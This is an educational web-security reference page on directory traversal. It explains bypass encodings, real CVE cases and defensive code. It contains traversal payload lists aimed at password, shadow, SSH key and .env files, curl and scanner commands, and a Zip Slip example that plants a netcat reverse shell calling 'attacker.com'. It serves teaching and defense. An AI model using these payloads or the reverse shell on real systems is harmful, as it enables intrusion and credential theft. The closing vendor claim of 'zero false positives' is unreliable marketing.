#
Directory Traversal (Path Traversal)
HIGH SEVERITY FILE SYSTEM ATTACK OWASP TOP 10
#
Overview
Directory Traversal (also called Path Traversal) is when attackers manipulate file paths to access files and directories stored outside the intended folder, allowing them to read sensitive files they shouldn't have access to.
In One Sentence
Tricking a website into showing you files it never meant to share by manipulating file paths with ../ sequences.
#
Simple Explanation
#
Real-World Analogy
Imagine you work in a library with a strict rule: "Patrons can only access books from the Public Reading Room." But someone figures out they can request "Public Reading Room / Go back one hall / Go back one hall / Director's Private Office / Secret Documents." The librarian, following instructions literally, retrieves the secret documents!
#
The Attack in Action
website.com/download?file=report.pdf
Server reads: /var/www/public/report.pdf ✓
website.com/download?file=../../../../etc/passwd
Server reads: /etc/passwd (system password file!) ✗
#
The Vulnerability
#
How It Works
User uploads photo: vacation.jpg
Stored at: /var/www/uploads/user123/vacation.jpg
Download URL:
https://photosite.com/download?file=vacation.jpg
Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file']
full_path = base_path + file
# Result: /var/www/uploads/user123/vacation.jpg ✓
https://photosite.com/download?file=../../../etc/passwd
Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file'] # "../../../etc/passwd"
full_path = base_path + file
# Result: /var/www/uploads/user123/../../../etc/passwd
# Simplifies to: /etc/passwd
# Sends password file to attacker! ✗
../
.= Current directory..= Parent directory (go up one level)../../../= Go up three levels
Start: /var/www/uploads/user123/
Add file: ../../../etc/passwd
Step 1: /var/www/uploads/user123/../../../etc/passwd
Step 2: /var/www/uploads/../../../etc/passwd (went up)
Step 3: /var/www/../../../etc/passwd (went up)
Step 4: /var/../../../etc/passwd (went up)
Step 5: /etc/passwd (final result)
#
Common Target Files
/etc/passwd # User accounts
/etc/shadow # Password hashes (if privileged)
/etc/hosts # Network configuration
/var/log/apache2/access.log # Web server logs
/var/www/.env # Environment variables (database passwords!)
/home/user/.ssh/id_rsa # SSH private keys
~/.bash_history # Command history
/proc/self/environ # Process environment variables
C:\Windows\System32\config\SAM # User password hashes
C:\Windows\win.ini # Windows configuration
C:\inetpub\wwwroot\web.config # IIS configuration
C:\Users\Administrator\.ssh\id_rsa
C:\xampp\htdocs\.env
../config.php # Database credentials
../database.yml # Database configuration
../.env # Environment secrets
../wp-config.php # WordPress database credentials
../settings.py # Django settings (SECRET_KEY, DB passwords)
../../package.json # Project dependencies and info
#
Types of Path Traversal
#
:icon-target: 1. Basic Path Traversal
Using ../ sequences to navigate up directory tree
Normal: /download?file=document.pdf
Attack: /download?file=../../../../etc/passwd
Normal: /images?img=photo.jpg
Attack: /images?img=../../../var/www/.env
from flask import Flask, request, send_file
@app.route('/download')
def download():
filename = request.args.get('file')
# DANGEROUS: No validation!
return send_file(f'/var/www/uploads/{filename}')
#
:icon-slash: 2. Absolute Path Traversal
Using absolute paths instead of relative paths
Attack: /download?file=/etc/passwd
Attack: /download?file=C:\Windows\System32\config\SAM
Server concatenates:
/var/www/uploads/ + /etc/passwd
Result: /etc/passwd (absolute path overrides base path on some systems)
#
3. URL Encoding Bypass
Encoding ../ to bypass basic filters
Normal: ../
URL encoded: ..%2f
Double encode: ..%252f
Unicode: ..%c0%af
16-bit Unicode: ..%u002f
Blocked: /download?file=../../../etc/passwd
Bypassed: /download?file=..%2f..%2f..%2fetc%2fpasswd
Bypassed: /download?file=..%252f..%252f..%252fetc%252fpasswd
Why It Works
Simple filters check for literal ../ string, but the server decodes the URL before using it.
#
:icon-null: 4. Null Byte Injection
Using null bytes (%00) to truncate file extensions
// Vulnerable PHP code (older versions)
$file = $_GET['file'] . '.pdf'; // Force .pdf extension
// Intended: report.pdf
// Attack:
/download?file=../../../../etc/passwd%00
// Result before null byte processing:
// ../../../../etc/passwd%00.pdf
// After null byte (%00) truncation:
// ../../../../etc/passwd
// (Everything after %00 is ignored)
Note
This works in older PHP versions (< 5.3.4) where null bytes terminate strings.
#
5. Nested Traversal Sequences
Using nested patterns to bypass filters that remove ../ once
Filter removes "../" once:
Input: ....//
After: ../ (Boom! Still works)
Input: ..././
After: ../ (Filter removed ../, left ../)
Attack: /download?file=....//....//....//etc/passwd
Original: ....//
Filter sees: ../ (removes it)
Remaining: ../ (the outer dots remain!)
#
:icon-slash-forward: 6. Backslash Bypass (Windows)
Using backslashes instead of forward slashes
Linux: ../../../etc/passwd
Windows: ..\..\..\Windows\System32\config\SAM
Mixed: ..\..\../etc/passwd (works on some systems)
#
Real-World Examples
#
Case Study 1: Zip Slip (2018)
Directory traversal via malicious ZIP file extraction
- Thousands of projects affected (Maven, Gradle, Jenkins)
- Remote code execution possible
- Widespread vulnerability across multiple languages
# Creating malicious ZIP
import zipfile
with zipfile.ZipFile('malicious.zip', 'w') as zf:
# File appears to be in archive but extracts elsewhere
zf.writestr('../../../../tmp/backdoor.sh', '#!/bin/bash\nnc -e /bin/sh attacker.com 4444')
# VULNERABLE
import zipfile
with zipfile.ZipFile('upload.zip', 'r') as zf:
for file in zf.namelist():
zf.extract(file, '/var/www/uploads/') # DANGEROUS!
# If file name is "../../../../tmp/evil.sh"
# Extracts to: /tmp/evil.sh (not /var/www/uploads/)
#
Case Study 2: Microsoft IIS (CVE-2000-0884)
Unicode encoding bypass for path traversal
- Widespread IIS servers compromised
- Full system access obtained
- Used in Code Red and Nimda worms
Normal blocked request:
/scripts/../../../winnt/system32/cmd.exe
Bypassed with Unicode:
/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe
%c0%af = Unicode encoding for /
IIS decoded it AFTER security checks!
#
Case Study 3: Apache Struts (CVE-2018-11776)
Path traversal leading to remote code execution
- Equifax breach (143 million records)
- $700+ million in costs
- CEO resignation
<!-- Struts configuration -->
<action name="example" class="com.example.Action">
<result type="redirect">
${redirectUrl}
</result>
</action>
POST /example.action
redirectUrl=..%2F..%2Fevil.jsp
Result: Executes evil.jsp from parent directory
#
Case Study 4: Ruby on Rails (CVE-2019-5418)
File content disclosure via Accept header
- Any file on server readable
- Affected Rails versions: < 4.2.11, 5.0.0 - 5.0.7, 5.1.0 - 5.1.6, 5.2.0 - 5.2.2
GET /users/1 HTTP/1.1
Host: vulnerable-site.com
Accept: ../../../../../etc/passwd{{
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
#
Prevention & Mitigation
#
1. Input Validation (Whitelist - Best Practice)
The Golden Rule
Only allow expected, safe values - reject everything else
import os
from flask import Flask, request, send_file, abort
ALLOWED_FILES = {
'report': 'monthly_report.pdf',
'invoice': 'invoice_2024.pdf',
'manual': 'user_manual.pdf'
}
@app.route('/download')
def download():
file_id = request.args.get('file')
# Whitelist validation
if file_id not in ALLOWED_FILES:
abort(400, "Invalid file")
filename = ALLOWED_FILES[file_id]
return send_file(f'/var/www/uploads/{filename}')
const express = require('express');
const path = require('path');
const FILES = {
'1': 'report.pdf',
'2': 'invoice.pdf',
'3': 'manual.pdf'
};
app.get('/download/:id', (req, res) => {
const fileId = req.params.id;
if (!FILES[fileId]) {
return res.status(400).send('Invalid file ID');
}
const filename = FILES[fileId];
const filePath = path.join(__dirname, 'uploads', filename);
res.sendFile(filePath);
});
#
2. Path Normalization and Validation
import os
from pathlib import Path
from flask import Flask, request, send_file, abort
UPLOAD_DIR = '/var/www/uploads/'
@app.route('/download')
def download():
filename = request.args.get('file')
# Construct full path
requested_path = os.path.join(UPLOAD_DIR, filename)
# Resolve to absolute path (removes ../ sequences)
real_path = os.path.realpath(requested_path)
# Verify it's still within allowed directory
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
abort(403, "Access denied")
# Verify file exists
if not os.path.isfile(real_path):
abort(404, "File not found")
return send_file(real_path)
const path = require('path');
const fs = require('fs');
const UPLOAD_DIR = path.resolve(__dirname, 'uploads');
app.get('/download', (req, res) => {
const filename = req.query.file;
// Construct and resolve path
const requestedPath = path.join(UPLOAD_DIR, filename);
const realPath = path.resolve(requestedPath);
// Verify within allowed directory
if (!realPath.startsWith(UPLOAD_DIR)) {
return res.status(403).send('Access denied');
}
// Verify file exists
if (!fs.existsSync(realPath) || !fs.statSync(realPath).isFile()) {
return res.status(404).send('File not found');
}
res.sendFile(realPath);
});
# Example flow:
UPLOAD_DIR = '/var/www/uploads/'
filename = '../../../etc/passwd'
requested_path = '/var/www/uploads/../../../etc/passwd'
real_path = os.path.realpath(requested_path) # Resolves to: /etc/passwd
# Check:
'/etc/passwd'.startswith('/var/www/uploads/') # False!
# Request denied ✓
#
3. Filename Sanitization
import re
from flask import Flask, request, send_file, abort
UPLOAD_DIR = '/var/www/uploads/'
def sanitize_filename(filename):
# Remove path separators and traversal sequences
filename = filename.replace('/', '').replace('\\', '')
filename = filename.replace('..', '')
# Allow only alphanumeric, dash, underscore, dot
filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)
# Prevent hidden files
if filename.startswith('.'):
raise ValueError("Invalid filename")
return filename
@app.route('/download')
def download():
filename = request.args.get('file')
try:
safe_filename = sanitize_filename(filename)
except ValueError:
abort(400, "Invalid filename")
filepath = os.path.join(UPLOAD_DIR, safe_filename)
if not os.path.isfile(filepath):
abort(404)
return send_file(filepath)
<?php
function sanitize_filename($filename) {
// Remove path separators
$filename = str_replace(['/', '\\', '..'], '', $filename);
// Allow only safe characters
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
// Prevent empty or hidden files
if (empty($filename) || $filename[0] === '.') {
throw new Exception("Invalid filename");
}
return $filename;
}
$upload_dir = '/var/www/uploads/';
$filename = $_GET['file'];
try {
$safe_filename = sanitize_filename($filename);
} catch (Exception $e) {
http_response_code(400);
exit('Invalid filename');
}
$filepath = $upload_dir . $safe_filename;
if (!is_file($filepath)) {
http_response_code(404);
exit('File not found');
}
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $safe_filename . '"');
readfile($filepath);
?>
#
4. Use Framework Built-in Functions
from django.http import FileResponse
from django.conf import settings
import os
def download_file(request):
filename = request.GET.get('file')
# Django's safe_join prevents traversal
from django.utils._os import safe_join
filepath = safe_join(settings.MEDIA_ROOT, filename)
# safe_join returns None if traversal detected
if filepath is None:
return HttpResponseBadRequest('Invalid file path')
return FileResponse(open(filepath, 'rb'))
class DownloadsController < ApplicationController
def show
filename = params[:file]
# Rails.root.join prevents traversal
filepath = Rails.root.join('uploads', filename)
# Verify within uploads directory
unless filepath.to_s.start_with?(Rails.root.join('uploads').to_s)
return head :forbidden
end
send_file filepath
end
end
#
5. Secure ZIP Extraction
import zipfile
import os
def safe_extract(zip_path, extract_to):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# Construct target path
target_path = os.path.join(extract_to, member)
# Normalize and check
target_path = os.path.realpath(target_path)
extract_dir = os.path.realpath(extract_to)
# Verify extraction stays within target directory
if not target_path.startswith(extract_dir):
raise Exception(f"Attempted path traversal: {member}")
# Safe to extract
zf.extract(member, extract_to)
const AdmZip = require('adm-zip');
const path = require('path');
function safeExtract(zipPath, extractTo) {
const zip = new AdmZip(zipPath);
const extractDir = path.resolve(extractTo);
zip.getEntries().forEach(entry => {
const targetPath = path.resolve(extractTo, entry.entryName);
// Verify within extraction directory
if (!targetPath.startsWith(extractDir)) {
throw new Error(`Path traversal attempt: ${entry.entryName}`);
}
zip.extractEntryTo(entry, extractTo, false, true);
});
}
#
Testing for Path Traversal
#
Detection Indicators
?file=../
?path=../../
?template=..%2f..%2f
?page=....//....//
?include=/etc/passwd
?download=C:\Windows\
Error: File not found: /var/www/html/../../etc/shadow
Warning: include(/var/www/../config.php): failed to open stream
# Signs you successfully traversed:
root:x:0:0:root:/root:/bin/bash # /etc/passwd
[database]
password=SecretP@ss123 # config file
<?php $db_password = "..."; # source code
#
Manual Testing
# Test various depths
curl "http://target.com/download?file=../../../etc/passwd"
curl "http://target.com/download?file=../../../../etc/passwd"
curl "http://target.com/download?file=../../../../../etc/passwd"
# Test Windows paths
curl "http://target.com/download?file=..\..\..\Windows\win.ini"
# URL encoding
curl "http://target.com/download?file=..%2f..%2f..%2fetc%2fpasswd"
# Double encoding
curl "http://target.com/download?file=..%252f..%252fetc%252fpasswd"
# Mixed encoding
curl "http://target.com/download?file=..%5c..%5c..%5cetc%5cpasswd"
# Nested sequences
curl "http://target.com/download?file=....//....//etc/passwd"
# Absolute paths
curl "http://target.com/download?file=/etc/passwd"
# Null byte (if old PHP)
curl "http://target.com/download?file=../../../etc/passwd%00.jpg"
#
Automated Testing Tools
# Comprehensive path traversal scanner
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -d 5 -t 200
# Options:
# -m: Module (http, ftp, tftp, etc.)
# -h: Target host
# -f: File to find
# -d: Depth (how many ../ to try)
# -t: Threads
# Fuzz for traversal vulnerabilities
ffuf -w /path/to/traversal-payloads.txt \
-u "http://target.com/download?file=FUZZ" \
-fc 404 \
-mc 200
Position: /download?file=§PAYLOAD§
Payloads:
../etc/passwd
../../etc/passwd
../../../etc/passwd
..%2f..%2fetc%2fpasswd
....//....//etc/passwd
# Run path traversal templates
nuclei -u http://target.com -t /path-to-nuclei-templates/vulnerabilities/generic/
# Specific template
nuclei -u http://target.com -t path-traversal.yaml
#
Test Payloads
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/shadow
../../../../../../var/log/apache2/access.log
../../../home/user/.ssh/id_rsa
/etc/passwd
/etc/shadow
..\..\..\Windows\win.ini
..\..\..\..\Windows\System32\config\SAM
C:\Windows\win.ini
C:\boot.ini
../config.php
../../.env
../../../wp-config.php
../../database.yml
../settings.py
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
....//....//etc/passwd
..\/..\/etc/passwd
#
Security Checklist
#
Development
- Never trust user input for file paths
- Use whitelists to map user input to predefined file IDs
- Normalize paths with realpath/resolve functions
- Verify resolved path stays within allowed directory
- Strip dangerous characters (
../,..\\,/,\\) - Use framework built-in secure file handling functions
- Validate ZIP file paths before extraction
#
Infrastructure
- Apply least privilege for file system access
- Use chroot jails or containerization
- Implement file access logging
- Monitor for suspicious path patterns
- Disable directory listing
- Run application with minimal permissions
#
Testing
- Test with basic
../sequences at various depths - Try absolute paths
- Test URL encoding variations
- Attempt nested sequences
- Test null byte injection (for older systems)
- Try both forward slashes and backslashes
- Check for file extension enforcement bypasses
- Monitor responses for error messages
- Test in all parameters accepting file paths
#
Key Takeaways
Primary Defenses
- Use whitelists - Map user input to predefined safe file IDs
- Normalize paths - Use realpath/resolve and verify within allowed directory
- Never trust user input - Always validate and sanitize
- Use framework functions - Leverage built-in secure file handling
Critical Points
- Path traversal can expose sensitive system files and credentials
- Encoding bypasses are common - validate after decoding
- ZIP extraction requires special handling to prevent Zip Slip
- Always verify resolved paths stay within allowed directories
Best Practices
- Prefer ID-based file access over filename-based
- Apply defense in depth with multiple validation layers
- Monitor file access patterns for anomalies
- Keep frameworks and dependencies updated
- Regular security testing and code review
#
References & Resources
#
Official Documentation
- OWASP Path Traversal
- CWE-22: Improper Limitation of Pathname
- Zip Slip Vulnerability
- OWASP Testing Guide - Path Traversal
#
Testing Tools
#
Learning Resources
- PortSwigger Web Security Academy - Path Traversal
- HackTricks - Path Traversal
- PentesterLab - Directory Traversal
#
Layerd AI Protection
Layerd AI Guardian Proxy protects against directory traversal:
- Path validation - Automatic detection of traversal sequences
- Pattern recognition - ML identifies encoded bypass attempts
- Real-time blocking - Prevents access to sensitive files
- Zero false positives - Smart detection of legitimate paths
Learn more about Layerd AI Protection →
Remember: Directory Traversal attacks exploit weak path validation. Always use whitelists for file access, normalize paths, and verify resolved paths stay within allowed directories.
Map user input to file IDs instead of using filenames directly!
Last updated: November 2025